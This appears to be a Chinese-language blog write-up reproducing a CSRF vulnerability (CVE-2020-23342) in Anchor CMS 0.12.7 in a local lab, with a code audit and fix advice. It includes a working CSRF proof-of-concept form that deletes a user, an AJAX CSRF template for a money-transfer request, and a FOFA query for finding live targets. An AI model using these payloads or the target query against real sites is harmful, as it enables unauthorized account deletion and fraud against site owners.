Anchor CMS 0.12.7 跨站請求偽造漏洞(CVE-2020-23342)

sukusec不覺水流發表於2022-01-21

這個漏洞復現相對來說很簡單,而且這個Anchor CMS也十分適合新手訓練程式碼審計能力。裡面是一個php框架的輕量級設計,通過路由實現的傳遞引數。

0x00 漏洞介紹

Anchor(CMS)是一款優秀的輕量級PHP內容與文章管理程式,並且有著很好的擴充套件性。攻擊者可以構造惡意的html檔案誘導網站管理員點選,從而進行刪除使用者等敏感操作,典型的CSRF漏洞,屬於web應用類漏洞。

0x01 漏洞環境

  • 攻擊機、網站管理員:192.168.91.1 windows10
  • 目標機:192.168.91.144 Ubuntu 18.04-Server
  • 工具:BurpSuite2021以及CSRF POC generator外掛、Firefox(CSRF漏洞復現時,不能使用Chrome,因其自帶遮蔽CSRF)
  • CMS版本:Anchor 0.12.7

0x02 漏洞搭建

1、安裝完LAMP後,訪問網址,顯示失敗。是因為Anchor CMS不會自動安裝,需要在終端上安裝,即

apt install -y composer
cd /var/www/html
composer install

image-20220121173319609

2、之後再次訪問網址就可以看到

image-20220121173336105

3、點選安裝之後會出現,是因為我沒有執行apt install libapache2-mod-php

image-20220121173645192

4、之後就進入到安裝語言了,隨便選了一個

image-20220121173827748

5、之後建立資料庫為Anchor,root使用者密碼:d1HNJg$h1u8新建一個資料庫使用者

username:root_sql

password:NUIDghde1&

image-20220121174656593

6、設定管理員賬戶

image-20220121174839620

7、安裝成功

image-20220121174910170

8、因為是CSRF的漏洞,我們需要建立使用者,而建立使用者就需要訪問管理員後臺,提示說,請移除install這個目錄??

image-20220121175500843

image-20220121175320729

9、那行,那我就移除

image-20220121175415364

10、再重新整理果然沒了

image-20220121175430653

11、建立使用者test@1.com,它的所有資訊都是test@1.com,然後以此類推,建立多個賬戶

image-20220121182426161

0x03 影響範圍

Anchor 0.12.7

0x04 漏洞條件

管理員輕易點選連結

0x05 漏洞原理

通過程式碼審計,在/anchor/routes/users.php中,沒有對請求進行任何的二次驗證以及token值校驗,所以直接產生了CSRF漏洞。下面這段程式碼就是這個檔案中的關鍵部分。基於php的路由分配,實質上來說就是利用url中的path去匹配對應的控制類,同時呼叫其中的方法進行相關操作的處理。

    /**
     * Delete user
     */
    Route::get('admin/users/delete/(:num)', function ($id) {	//路由定址的地方為admin/users/delete/$num
        $self = Auth::user();

        if ($self->id == $id) {
            Notify::error(__('users.delete_error'));

            return Response::redirect('admin/users/edit/' . $id);		//刪除錯誤,並且重定向到admin/uses/edit
        }

        User::where('id', '=', $id)->delete();		

        Query::table(Base::table('user_meta'))
             ->where('user', '=', $id)
             ->delete();

        Notify::success(__('users.deleted'));

        return Response::redirect('admin/users');					//刪除成功,並且重定向到admin/users
    });															//全程沒有任何的校驗機制
});

0x06 漏洞復現

1、進入到管理員後臺刪使用者那裡,開啟Bp,點選刪除使用者後抓包,可以看到是向index.php/admin/users/delete/9發起請求。

image-20220121182555000

2、傳送至repeater,點選右鍵,生成對應的CSRF POC

image-20220121182645851

3、複製下來,貼上到一個檔案裡面

image-20220121182820550

4、然後誘導網站管理員進行點選,就會刪除

image-20220121182908079

5、或者更高階,直接將其更改成AJAX格式,但是這個適用於POST方式的CSRF

<script src="http://code.jquery.com/jquery-latest.js"></script>//引用jquery庫
<script type="text/javascript">
            $.ajax({
                url: "http://192.168.23.75/bank/action.php",	//讓誰接收資料,就寫成誰的IP
                type: "POST",					//這裡為POST,如果是GET就改成GET就行了。
				crossDomain:true, //設定跨域為true。AJAX預設不允許跨域,這裡就是開啟了跨域,但是跨域請求又不帶cookie
				xhrFields: {
						withCredentials: true //預設情況下,標準的跨域請求是不會傳送cookie的,而不會傳送cookie,這就無法完成CSRF攻擊了。所以只有這個開啟了才可以傳送cookie。所以可以認為沒有這個值的話,相當於cookie被刪除了。
							},
                data: {
                	username:"xxx",
                	money:"10000",
                	submit:"äº&#164;æ&#152;&#147;"		//表單的屬性和值
                }
                //dataType: 'json' // tell jQuery not to process the data // tell jQuery not to set contentType
            });
</script>

0x07 漏洞修復建議

1、首先要確保不能存在XSS漏洞,存在XSS漏洞的CSRF永遠是防禦不住的。

2、由於CSRF違背的是“不可預測性”原則,所以需要給其新增一個隨機值,也就是token值。

3、新增referer驗證,不同referer的資料包不予接受。

4、新增二次驗證,但是注意是在必要的環節上新增,如果每個頁面每個操作都新增二次驗證,勢必會影響使用者的體驗感。

5、不要輕信GET轉POST就可以防禦CSRF,這是假的。是因為以前的人沒有意識到而已。

6、網站管理員需要提高自身的安全意識,不要隨便點選不明連結等等。

0x08 漏洞POC+EXP分析

來分析一波Bp生成的CSRF POC

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.91.144/index.php/admin/users/delete/9">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--很簡單,可以看出來就是一個簡單的表單,誘使其點選,提交資料給網站後臺的php檔案,由於伺服器沒有對其進行二次校驗或者新增隨機數token,導致CSRF漏洞產生。-->

0x09 漏洞挖掘與實戰

FOFA:"Anchor CMS" && body="themes/default/img/favicon.png"

0x10 Reference

https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/Anchor CMS 0.12.7 跨站請求偽造(CVE-2020-23342).md

https://packetstormsecurity.com/files/161048/anchorcms0127-xsrf.txt

相關文章